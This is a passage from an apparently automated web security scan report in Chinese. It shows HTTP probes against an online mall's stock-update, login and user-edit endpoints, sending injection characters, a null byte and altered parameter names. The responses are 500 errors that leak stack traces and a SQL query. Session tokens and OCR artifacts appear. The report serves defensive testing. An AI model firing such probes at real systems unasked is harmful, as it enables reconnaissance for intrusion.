POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 54
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
```

```
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": ";"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ';': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@52577cd5; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|9/10

差异: 参数 从以下位置进行控制: 1670 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 55
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
        "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "\""
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@31919c27; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体- | 10 / 10

差异: 参数 从以下位置进行控制: 1670 至: ("

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 57
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockgty": "+12",
 "departmentid": "\\
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2ea22d5c; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

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应用程序针	世民
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"stockqty" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 56
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty.": "+12"
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "stockqty." (Class com.suneee.scn.goods.model.dbo.PubGoodsStock), not marked
as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@1b774706; line: 1, column: 32] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty."])
```

变体-|2/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 57
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty[]": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
```

```
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "stockqty[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsStock), not marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@5795ee18; line: 1, column: 33] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty[]"])
```

变体-|3/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 53
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "'",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value ''': not a valid
at [Source: io.netty.buffer.ByteBufInputStream@744ec791; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|4/8

差异: 参数 从以下位置进行控制: +12 至: ('

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 55
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "\
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value '\'': not a valid
representation
 at [Source: io.netty.buffer.ByteBufInputStream@67d1fc87; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|5/8

差异:

参数 从以下位置进行控制: +12 至: ;



应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 推理:

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 53
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": ";",
  "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value ';': not a valid
representation
```

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```
at [Source: io.netty.buffer.ByteBufInputStream@5cb6650f; line: 1, column: 18] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|6/8

差异: 参数 从以下位置进行控制: +12 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 54
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
        "goodsid": 105190,
 "stockqty": "\"",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value '"': not a valid
representation
at [Source: io.netty.buffer.ByteBufInputStream@534deee4; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-|7/8

差异: 参数 从以下位置进行控制: +12 至: \"

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 56
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
```

```
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "\\
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value '\"': not a valid
representation
 at [Source: io.netty.buffer.ByteBufInputStream@20d462f3; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

变体-18/8

差异: 参数 从以下位置进行控制: +12 至:)



应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 推理:

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 53
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": ")",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.math.BigDecimal from String value ')': not a valid
representation
at [Source: io.netty.buffer.ByteBufInputStream@3a0a3d74; line: 1, column: 18] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["stockqty"])
```

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应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login
实体:	username (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: setest01 至: \\$00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 28
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=%00&password=123456
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:28:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/system/system-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/SystemUserInfoTMapper.xml]
### The error may involve com.suneee.scn.system.dao.SystemUserInfoTDao.selectByPrimaryKey-Inline
### The error occurred while setting parameters
### SQL: select
                        account, department id, user name, password, sex, position, address,
telphone, valid,
                     last_login_time, last_login_ip, memo, delete_flag, create_time,
                          dept_id, operpassword, strmd5, e_mail, failure num, last failure time,
update_time, corp_id,
                  id_card, nick, acc_from, name, employee_id, user_id, employeeid,
pw update time,
enterprisecode,
                    enterpriseid, employeename
                                                      from system_user_info_t
                                                                                  where account
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
```

```
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

变体-|2/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 28
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=%00&password=123456
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:28:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/system/system-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/SystemUserInfoTMapper.xml]
### The error may involve com.suneee.scn.system.dao.SystemUserInfoTDao.selectByPrimaryKey-Inline
### The error occurred while setting parameters
### SQL: select
                        account, department_id, user_name, password, sex, position, address,
                     last_login_time, last_login_ip, memo, delete_flag, create_time,
telphone, valid,
update_time, corp_id,
                        dept id, operpassword, strmd5, e mail, failure num, last failure time,
                 id_card, nick, acc_from, name, employee_id, user id, employeeid,
pw update time,
                   enterpriseid, employeename
enterprisecode,
                                                       from system_user_info_t
                                                                                   where account
= ?
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 40 / 43 Toc

应用程序针	世民
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login
实体:	password (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

变体-|1/6

差异: 参数 从以下位置进行控制: password 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 34
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
{\tt X-Requested-With:} \ {\tt XMLHttpRequest}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest01&password.=123456
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|2/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 34
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest02&password.=123456
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|3/6

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 17
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest01
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|4/6

差异: cookie 已从请求除去: 6cecd9abca2a5797bbb71b3bef6db3f8

参数 已从请求除去: 123456

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 17
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest02
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|5/6

差异: cookie 已从请求除去: 6cecd9abca2a5797bbb71b3bef6db3f8

参数 从以下位置进行控制: password 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 39
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: system-rest-enterprise.mall.xt.weilian.cn}
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest02&password%5B%5D=123456
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|6/6

差异: 参数 从以下位置进行控制: password 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 39
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=setest01&password%5B%5D=123456
HTTP/1.1 500 Internal Server Error
Content-Length: 0
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

问题 41 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify
实体:	->"account" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account.": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
